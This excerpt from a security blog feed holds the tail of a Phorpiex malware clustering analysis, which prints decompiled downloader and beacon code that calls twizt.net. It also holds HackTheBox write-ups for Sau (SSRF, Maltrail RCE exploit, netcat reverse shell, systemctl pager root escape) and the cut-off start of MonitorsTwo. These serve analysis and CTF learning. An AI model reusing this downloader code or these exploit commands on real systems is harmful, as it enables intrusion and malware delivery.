        <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">ShellExecuteW</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">L"open"</span><span class="p">,</span> <span class="n">lpCommandLine</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">32</span> <span class="p">)</span> <span class="c1">// optional fallback</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">Sleep</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Key points:</p>
<ul>
  <li><code class="language-html highlighter-rouge">StartupInfo</code> and <code class="language-html highlighter-rouge">ProcessInformation</code> are cleaned with <code class="language-html highlighter-rouge">memset</code>.</li>
  <li>Uses <code class="language-html highlighter-rouge">STARTF_USESHOWWINDOW</code> and <code class="language-html highlighter-rouge">SW_SHOW</code> (they are not trying very hard to be stealthy).</li>
  <li>Runs the payload at normal priority (<code class="language-html highlighter-rouge">0x20</code> → <code class="language-html highlighter-rouge">NORMAL_PRIORITY_CLASS</code>).</li>
  <li>A variant include a fallback to <code class="language-html highlighter-rouge">ShellExecuteW</code> if <code class="language-html highlighter-rouge">CreateProcessW</code> fails.</li>
</ul>

<p>Under MalCluster’s normalization, this function collapses to a very similar ASM sequence for all samples in the cluster. The only relevant divergence is:</p>
<ul>
  <li>Variant A: <code class="language-html highlighter-rouge">CreateProcessW</code> only</li>
  <li>Variant B: <code class="language-html highlighter-rouge">CreateProcessW</code> + <code class="language-html highlighter-rouge">ShellExecuteW</code> fallback</li>
</ul>

<p>This is a tiny but interesting branching point: we’re seeing the same logical building block, with an incremental tweak for robustness (extra API call) in a sample.</p>

<h3 id="33-downloader--launcher-f_download_new_malware_and_execute--0x401120--0x401100">3.3 Downloader + launcher (f_download_new_malware_and_execute @ 0x401120 / 0x401100)</h3>

<p>This is the heart of the cluster: a downloader that fetches an updated payload to <code class="language-html highlighter-rouge">%TEMP%</code> and runs it via <code class="language-html highlighter-rouge">f_execute_malware</code>.</p>

<p>High-level behaviour:</p>

<ul>
  <li>Seed <code class="language-html highlighter-rouge">rand()</code> from <code class="language-html highlighter-rouge">GetTickCount()</code></li>
  <li>Resolve <code class="language-html highlighter-rouge">%TEMP%</code></li>
  <li>Generate a pseudo-random filename inside <code class="language-html highlighter-rouge">%TEMP%</code> combining two random integers (e.g. <code class="language-html highlighter-rouge">%TEMP%\1234512345.exe</code>)</li>
  <li>First download attempt:
    <ul>
      <li>Use <code class="language-html highlighter-rouge">WinINet</code> (<code class="language-html highlighter-rouge">InternetOpenW</code> + <code class="language-html highlighter-rouge">InternetOpenUrlW</code> + <code class="language-html highlighter-rouge">InternetReadFile</code>)</li>
      <li>Write the payload to the chosen filename via <code class="language-html highlighter-rouge">CreateFileW</code> + <code class="language-html highlighter-rouge">WriteFile</code></li>
      <li>Delete <code class="language-html highlighter-rouge">"<span class="nt">&lt;FileName&gt;</span>:Zone.Identifier"</code> to remove <code class="language-html highlighter-rouge">Mark-of-the-Web</code></li>
      <li>Try to execute with <code class="language-html highlighter-rouge">f_execute_malware()</code></li>
    </ul>
  </li>
  <li>If execution fails:
    <ul>
      <li>Wait a random delay (<code class="language-html highlighter-rouge">rand() % 60000</code> ms)</li>
      <li>Generate a new random filename</li>
      <li>Retry download using <code class="language-html highlighter-rouge">URLDownloadToFileW</code> instead of manual <code class="language-html highlighter-rouge">InternetReadFile</code> loop</li>
      <li>Again remove <code class="language-html highlighter-rouge">:Zone.Identifier</code> and try executing</li>
    </ul>
  </li>
</ul>

<p>The decompiled code is long, but the essence is:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">f_download_new_malware_and_execute</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">malware_link</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">WCHAR</span> <span class="n">tmp_folder</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
    <span class="n">WCHAR</span> <span class="n">fileName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
    <span class="n">WCHAR</span> <span class="n">zone_ads</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
    <span class="n">BOOL</span> <span class="n">executed</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span>

    <span class="n">srand</span><span class="p">(</span><span class="n">GetTickCount</span><span class="p">());</span>

    <span class="n">ExpandEnvironmentStringsW</span><span class="p">(</span><span class="s">L"%temp%"</span><span class="p">,</span> <span class="n">tmp_folder</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
    <span class="n">make_random_name</span><span class="p">(</span><span class="n">tmp_folder</span><span class="p">,</span> <span class="n">fileName</span><span class="p">);</span>     <span class="c1">// "%temp%\\%d%d.exe"</span>

    <span class="c1">// First attempt: WinINet streaming download</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">internet_download_to_file</span><span class="p">(</span><span class="n">malware_link</span><span class="p">,</span> <span class="n">fileName</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">delete_zone_identifier</span><span class="p">(</span><span class="n">fileName</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">f_execute_malware</span><span class="p">(</span><span class="n">fileName</span><span class="p">))</span>
            <span class="n">executed</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">Sleep</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>

    <span class="c1">// Second attempt: URLDownloadToFileW + random delay</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">executed</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">Sleep</span><span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">60000</span><span class="p">);</span>
        <span class="n">make_random_name</span><span class="p">(</span><span class="n">tmp_folder</span><span class="p">,</span> <span class="n">fileName</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">URLDownloadToFileW</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">malware_link</span><span class="p">,</span> <span class="n">fileName</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="n">S_OK</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">delete_zone_identifier</span><span class="p">(</span><span class="n">fileName</span><span class="p">);</span>
            <span class="n">f_execute_malware</span><span class="p">(</span><span class="n">fileName</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>From a clustering standpoint:</p>
<ul>
  <li>The structure of this function is almost perfectly preserved across samples in Cluster 1.</li>
  <li>After normalization, MalCluster finds very long common substrings in the instruction stream (covering the main loop and the error handling pattern).</li>
  <li>Minor differences don’t break the match because they normalize away.</li>
</ul>

<p>From a malware-family standpoint:</p>
<ul>
  <li>This looks like a reused template the authors keep carrying forward and slightly adapting, rather than reinventing for each campaign.</li>
  <li>The use of both a manual <code class="language-html highlighter-rouge">WinINet</code> loop and <code class="language-html highlighter-rouge">URLDownloadToFileW</code> fallback suggests attempt to be resilient to possible crashes in the network APIs.</li>
</ul>

<h3 id="34-winmain-orchestrator-and-beacon-0x401380">3.4 WinMain: orchestrator and beacon (0x401380)</h3>

<p>Finally, <code class="language-html highlighter-rouge">WinMain</code> wires everything together and triggers a simple beacon after the first run.</p>

<p>Representative pseudocode:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="kt">int</span> <span class="kr">__stdcall</span> <span class="nf">WinMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hInstance</span><span class="p">,</span> <span class="n">HINSTANCE</span> <span class="n">hPrevInstance</span><span class="p">,</span> <span class="n">LPSTR</span> <span class="n">lpCmdLine</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nShowCmd</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">hInternet</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">hUrl</span><span class="p">;</span>

    <span class="n">Sleep</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
    <span class="n">f_download_new_malware_and_execute</span><span class="p">(</span><span class="s">L"http://twizt.net/newtpp.exe"</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">f_check_or_create_sentinel_flag_file</span><span class="p">())</span>
    <span class="p">{</span>
        <span class="c1">// Optional C2-style beacon</span>
        <span class="n">hInternet</span> <span class="o">=</span> <span class="n">InternetOpenA</span><span class="p">(</span>
            <span class="s">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"</span><span class="p">,</span>
            <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
        <span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">hInternet</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Simple GET to peinstall.php; the response is ignored</span>
            <span class="n">hUrl</span> <span class="o">=</span> <span class="n">InternetOpenUrlA</span><span class="p">(</span><span class="n">hInternet</span><span class="p">,</span> <span class="s">"http://twizt.net/peinstall.php"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
            <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hUrl</span><span class="p">);</span>
            <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hInternet</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Notes:</p>
<ul>
  <li>The hardcoded domain <code class="language-html highlighter-rouge">twizt[.]net</code> strongly suggests a connection with the Phorpiex Twizt variant family described in public reporting from CheckPoint, which is known for clipboard-based cryptocurrency clipping and P2P-style resilience.</li>
</ul>

<p>MalCluster sees WinMain as a fairly stable function that calls:</p>
<ul>
  <li>The downloader</li>
  <li>The sentinel logic</li>
  <li>An optional beacon</li>
</ul>

<p>even when smaller details (sleep durations, user-agent, etc.) vary.</p>

<h2 id="4-what-this-says-about-code-reuse-in-this-subset">4. What this says about code reuse (in this subset)</h2>

<p>Given the small dataset, I’m not looking to over-generalize all of the Phorpiex variants seen in the wild. That said, Cluster 1 shows a clear pattern that matches what we’d expect from a long-lived botnet codebase:</p>
<ul>
  <li>Highly stable core routines:
    <ul>
      <li>sentinel file logic</li>
      <li>downloader + executor</li>
      <li>WinMain wiring</li>
    </ul>
  </li>
  <li>Localised micro-evolutions:
    <ul>
      <li>presence/absence of a ShellExecuteW fallback</li>
      <li>slight changes in user-agents, delays and error handling</li>
    </ul>
  </li>
  <li>Shared infrastructure hints:
    <ul>
      <li>hardcoded URLs under <code class="language-html highlighter-rouge">twizt[.]net</code> in this subset</li>
      <li>repeated use of the same sentinel filename (<code class="language-html highlighter-rouge">33573537.jpg)</code>)</li>
    </ul>
  </li>
</ul>

<p>From MalCluster’s perspective, this is exactly the kind of scenario the pipeline targets:</p>
<ul>
  <li>fuzzy hashing gets you a coarse grouping of potentially related binaries;</li>
  <li>normalized ASM + LCS then zooms in and extracts the specific functions that are genuinely reused</li>
</ul>

<h2 id="5-from-clustering-to-detection-and-hunting">5. From clustering to detection and hunting</h2>

<p>One practical outcome of this experiment is that the output of MalCluster is immediately usable for signature and hunting work, without having to manually diff every pair of samples.</p>

<p>A few ideas:</p>

<h3 id="51-string-based-hunting">5.1 String-based hunting</h3>

<p>The <code class="language-html highlighter-rouge">string_data</code> intersection MalCluster computes per cluster gives you a set of “shared strings with document frequency”. In Cluster 1, things like:</p>
<ul>
  <li>repeated <code class="language-html highlighter-rouge">%TEMP%</code> usage patterns</li>
  <li>specific JPG filenames used as sentinels</li>
  <li>user-agent fragments in the <code class="language-html highlighter-rouge">WinINet</code> calls</li>
</ul>

<p>can be turned into:</p>
<ul>
  <li>SIEM / data-lake queries (e.g. samples or processes writing hidden JPGs under <code class="language-html highlighter-rouge">%TEMP%</code> with certain names).</li>
  <li>initial YARA strings sections that you refine manually.</li>
</ul>

<h3 id="52-normalized-asm-for-yara--code-reuse-rules">5.2 Normalized ASM for YARA / code-reuse rules</h3>

<p>The normalized function bodies and longest common substrings provide stable ASM snippets that you can translate into:</p>
<ul>
  <li>YARA byte or ascii conditions based on assembly sequences.</li>
  <li>“structural” rules using combinations of imported functions + string artefacts.</li>
</ul>

<p>For example, a high-level YARA idea for this cluster could be:</p>
<ul>
  <li>look for:
    <ul>
      <li>ExpandEnvironmentStringsW(“%temp%”)</li>
      <li>a hidden JPG created via <code class="language-html highlighter-rouge">CreateFileW</code> / <code class="language-html highlighter-rouge">FILE_ATTRIBUTE_HIDDEN</code></li>
      <li>followed by a <code class="language-html highlighter-rouge">WinINet</code>-based download to a random numeric filename in <code class="language-html highlighter-rouge">%TEMP%</code></li>
      <li>plus deletion of the <code class="language-html highlighter-rouge">:Zone.Identifier</code> <a href="https://www.ninjaone.com/blog/alternate-data-streams/">ADS</a></li>
    </ul>
  </li>
</ul>

<h2 id="53-prioritizing-what-to-reverse-first">5.3 Prioritizing what to reverse first</h2>

<p>In a bigger cluster, you might have dozens of functions per sample. MalCluster’s graph view and the identical / LCS length metrics help you:</p>
<ul>
  <li>Spot which functions are reused verbatim (good candidates to analyze once and then recognize everywhere)</li>
  <li>Which ones vary more (potentially where the interesting behaviour sits: payload delivery, crypto clipping, new modules, etc.).</li>
</ul>

<h2 id="6-limitations-and-next-steps">6. Limitations and next steps</h2>

<p>A few caveats:</p>
<ul>
  <li>Small dataset: 31 samples is small compared to how Phorpiex has grown over the years. This post only reflects this specific subset.</li>
  <li>Static only: everything here is based on static artefacts via Malcat. Packing or obfuscation will affect how much code is visible.</li>
  <li>Configuration coverage: I used a single set of parameters (ssdeep + threshold 25, LCS 8). There’s room to explore:
    <ul>
      <li>TLSH / sdhash clustering,</li>
      <li>stricter thresholds,</li>
      <li>full vs partial normalization and its impact on cluster stability.</li>
    </ul>
  </li>
</ul>

<p>That said, as a sanity check for MalCluster, this experiment is encouraging. Even with permissive thresholds, the main cluster I inspected corresponds to a coherent “Phorpiex core” with clear, stable building blocks, rather than arbitrary fuzzy-hash noise.</p>

<p>Where I’d like to go in Part 2</p>
<ul>
  <li>Compare multiple clusters and see if we can identify “generations” or configuration changes over time.</li>
  <li>Correlate static clusters with dynamic behaviour (e.g. which modules are actually dropped / executed).</li>
</ul>

<p>If you’re interested in something in particular, write to us on Twitter:</p>
<ul>
  <li><a href="https://x.com/ffantini_">https://x.com/ffantini_</a></li>
  <li><a href="https://x.com/_ret2c">https://x.com/_ret2c</a></li>
</ul>

<h2 id="7-appendix-markmap-summary">7. Appendix: Markmap summary</h2>

<div class="markmap"><script type="text/template"> 
# Phorpiex – Cluster 1 (MalCluster) 
## Context 
- Long-lived spam / loader botnet 
- Twizt variant with crypto clipping 
- Goal: validate MalCluster on real family 
## Pipeline 
- Malcat-based extraction (strings + functions) 
- Normalized assembly
- Fuzzy-hash clustering (ssdeep, thr=25) 
- LCS ≥ 8 on normalized functions 
## Shared building blocks 
### f_check_or_create_sentinel_flag_file 
- `%TEMP%` resolution 
- `33573537.jpg` sentinel 
- `CreateFileW` + `FILE_ATTRIBUTE_HIDDEN` 
### f_execute_malware 
- `CreateProcessW` wrapper 
- Optional `ShellExecuteW` fallback 
- `Sleep(1000)` 
### f_download_new_malware_and_execute 
- Random `%TEMP%\\%d%d.exe` name 
- `InternetOpenUrlW` + `InternetReadFile` (1st try) 
- `URLDownloadToFileW` (fallback) 
- Delete `:Zone.Identifier` 
- Call `f_execute_malware` 
### WinMain 
- `Sleep(2000)` 
- Call downloader 
- Sentinel check 
- Optional beacon via `InternetOpenUrlA("twizt[.]net/...")` 
## Takeaways 
- Strong code reuse across cluster 
- Stable downloader + sentinel core 
- Small micro-variations (fallback) 
- Good basis for hunting & YARA 
</script></div>]]></content><author><name>Federico Fantini</name></author><category term="Malware-Analysis" /><category term="Phorpiex" /><category term="MalCluster" /><category term="Static-Analysis" /><summary type="html"><![CDATA[INDEX 0. Introduction 1. Dataset and methodology MalCluster in a sentence Parameters used 2. Clustering results: zooming in on Cluster 1 3. The shared core: three building blocks 3.1 Sentinel flag file (f_check_or_create_sentinel_flag_file @ 0x401000) 3.2 Process execution wrapper (f_execute_malware @ 0x401080) 3.3 Downloader + launcher (f_download_new_malware_and_execute @ 0x401120 / 0x401100) 3.4 WinMain: orchestrator and beacon (0x401380) 4. What this says about code reuse (in this subset) 5. From clustering to detection and hunting 5.1 String-based hunting 5.2 Normalized ASM for YARA / code-reuse rules 5.3 Prioritizing what to reverse first 6. Limitations and next steps 7. Appendix: Markmap summary]]></summary></entry><entry><title type="html">Sau writeup</title><link href="https://federicofantini.github.io/blog/2023/07/30/Sau.html" rel="alternate" type="text/html" title="Sau writeup" /><published>2023-07-30T00:00:00+02:00</published><updated>2023-07-30T00:00:00+02:00</updated><id>https://federicofantini.github.io/blog/2023/07/30/Sau</id><content type="html" xml:base="https://federicofantini.github.io/blog/2023/07/30/Sau.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#privesc-puma">Privesc puma</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Sau/Sau.png" alt="Sau box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -A -p- -T4 10.10.11.224</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PORT      STATE    SERVICE VERSION
  22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
  |   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
  |_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
  80/tcp    filtered http
  8338/tcp  filtered unknown
  55555/tcp open     unknown
  | fingerprint-strings: 
  |   FourOhFourRequest: 
  |     HTTP/1.0 400 Bad Request
  |     Content-Type: text/plain; charset=utf-8
  |     X-Content-Type-Options: nosniff
  |     Date: Sun, 30 Jul 2023 20:04:04 GMT
  |     Content-Length: 75
  |     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
  |   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
  |     HTTP/1.1 400 Bad Request
  |     Content-Type: text/plain; charset=utf-8
  |     Connection: close
  |     Request
  |   GetRequest: 
  |     HTTP/1.0 302 Found
  |     Content-Type: text/html; charset=utf-8
  |     Location: /web
  |     Date: Sun, 30 Jul 2023 20:03:38 GMT
  |     Content-Length: 27
  |     href="/web"&gt;Found<span class="nt">&lt;/a&gt;</span>.
  |   HTTPOptions: 
  |     HTTP/1.0 200 OK
  |     Allow: GET, OPTIONS
  |     Date: Sun, 30 Jul 2023 20:03:38 GMT
  |_    Content-Length: 0
  1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  SF-Port55555-TCP:V=7.93%I=7%D=7/30%Time=64C6C21A%P=x86_64-pc-linux-gnu%r(G
  SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
  SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2030\x20Jul\x20
  SF:2023\x2020:03:38\x20GMT\r\nContent-Length:\x2027\r\n\r\n<span class="nt">&lt;a</span><span class="err">\</span><span class="na">x20href=</span><span class="s">\"/w</span>
  <span class="na">SF:eb</span><span class="err">\"</span><span class="nt">&gt;</span>Found<span class="nt">&lt;/a&gt;</span>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
  SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
  SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
  SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2030\x20Jul\x20
  SF:2023\x2020:03:38\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
  SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
  SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
  SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
  SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
  SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
  SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
  SF:r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\
  SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
  SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"
  SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
  SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(K
  SF:erberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
  SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
  SF:equest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\n
  SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options
  SF::\x20nosniff\r\nDate:\x20Sun,\x2030\x20Jul\x202023\x2020:04:04\x20GMT\r
  SF:\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20nam
  SF:e\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\
  SF:n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
  SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
  SF:Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
  SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
  SF:se\r\n\r\n400\x20Bad\x20Request");
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>
  </li>
  <li>
    <p>by opening the site <a href="http://10.10.11.224:55555/web">http://10.10.11.224:55555/web</a> I see that it hosts request-baskets at version 1.2.1 which is vulnerable to CVE-2023-27163. The exploit for this SSRF is <a href="https://github.com/entr0pie/CVE-2023-27163">https://github.com/entr0pie/CVE-2023-27163</a></p>

    <p>I use the exploit to access local resources listed by nmap through the proxy offered by <code class="language-html highlighter-rouge">request-baskets</code>:</p>

    <ul>
      <li>
        <p><code class="language-html highlighter-rouge">./CVE-2023-27163.sh "http://10.10.11.224:55555" "http://127.0.0.1:8338"</code></p>
      </li>
      <li>
        <p><code class="language-html highlighter-rouge">./CVE-2023-27163.sh "http://10.10.11.224:55555" "http://127.0.0.1:80"</code></p>
      </li>
    </ul>

    <p><em>NOTE: for the exploit to actually work you need to visit/query the URL that <code class="language-html highlighter-rouge">request-baskets</code> returns (ex: http://10.10.11.224:55555/sflzwb)</em></p>
  </li>
  <li>
    <p>by opening the URL from the browser in both cases <code class="language-html highlighter-rouge">Maltrail</code> version 0.53 is hosted, in the first case it seems not to work due to the broken CSS while in the second case you see the login screen. This specific version is vulnerable to CVE-2023-27163. The exploit for this Unauthenticated RCE is: https://github.com/spookier/Maltrail-v0.53-Exploit</p>

    <ul>
      <li>
        <p>I listen with netcat on port 4444: <code class="language-html highlighter-rouge">nc -lnvp 4444</code></p>
      </li>
      <li>
        <p><code class="language-html highlighter-rouge">python3 exploit.py $(ifconfig tun0 | grep inet | head -n 1 | awk '{ print $2 }') 4444 http://10.10.11.224:55555/sflzwb/login</code></p>
      </li>
    </ul>

    <p>bingo! I got reverse shell as user</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-puma">Privesc puma</h2>

<ul>
  <li>I get a better shell with:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  python <span class="nt">-c</span> ‘import pty<span class="p">;</span> pty.spawn<span class="o">(</span>“/bin/bash”<span class="o">)</span>’
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">sudo -l</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Matching Defaults entries for puma on sau:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User puma may run the following commands on sau:
      (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
</code></pre></div>    </div>

    <p>I can become root very simply via: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/#spawn-shell-in-the-pager</p>

    <p>another reference: https://gtfobins.github.io/gtfobins/systemctl/</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  !sh
</code></pre></div>    </div>

    <p>so if I can run <code class="language-html highlighter-rouge">systemctl status foo</code> as root I can spawn another shell in it as root!</p>

    <p><em>NOTE: It’s exactly the same for <code class="language-html highlighter-rouge">vim</code>: https://gtfobins.github.io/gtfobins/vim/</em></p>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="Request-Baskets-1.2.1" /><category term="CVE-2023-27163" /><category term="SSRF" /><category term="Maltrail-0.53" /><category term="RCE" /><category term="Spawn-Shell-Systemctl-Pager" /><summary type="html"><![CDATA[INDEX INDEX Enumeration Privesc puma]]></summary></entry><entry><title type="html">MonitorsTwo writeup</title><link href="https://federicofantini.github.io/blog/2023/05/11/MonitorsTwo.html" rel="alternate" type="text/html" title="MonitorsTwo writeup" /><published>2023-05-11T00:00:00+02:00</published><updated>2023-05-11T00:00:00+02:00</updated><id>https://federicofantini.github.io/blog/2023/05/11/MonitorsTwo</id><content type="html" xml:base="https://federicofantini.github.io/blog/2023/05/11/MonitorsTwo.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#docker-container-breakout">Docker container breakout</a></li>
      <li><a href="#privesc-www-data">Privesc www-data</a></li>
      <li><a href="#privesc-marcus">Privesc marcus</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/MonitorsTwo/MonitorsTwo.png" alt="MonitorsTwo box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -A -p- -T4 10.10.11.211</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
  |   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
  |_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
  80/tcp open  http    nginx 1.18.0 (Ubuntu)
  |_http-title: Login to Cacti
  |_http-server-header: nginx/1.18.0 (Ubuntu)
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>
  </li>
  <li>The site shows the login page of the <a href="https://github.com/Cacti/cacti"><strong>cacti</strong></a> software, from the source of the page I can get the version:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">'versionInfo'</span><span class="nt">&gt;</span>Version 1.2.22 | (c) 2004-2023 - The Cacti Group<span class="nt">&lt;/div&gt;</span>
</code></pre></div>    </div>

    <p>I google if there are any CVEs on this specific version and I find one: <code class="language-html highlighter-rouge">CVE-2022-46169</code></p>

    <p>The corresponding exploit: <a href="https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit">https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit</a></p>

    <p>Just follow the steps in the repo to get a shell as <code class="language-html highlighter-rouge">www-data</code></p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="docker-container-breakout">Docker container breakout</h2>

<ul>
  <li>I run <code class="language-html highlighter-rouge">linpeas.sh</code>:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Executing Linux Exploit Suggester 2
  ╚ https://github.com/jondonas/linux-exploit-suggester-2
    
  ╔══════════╣ Protections
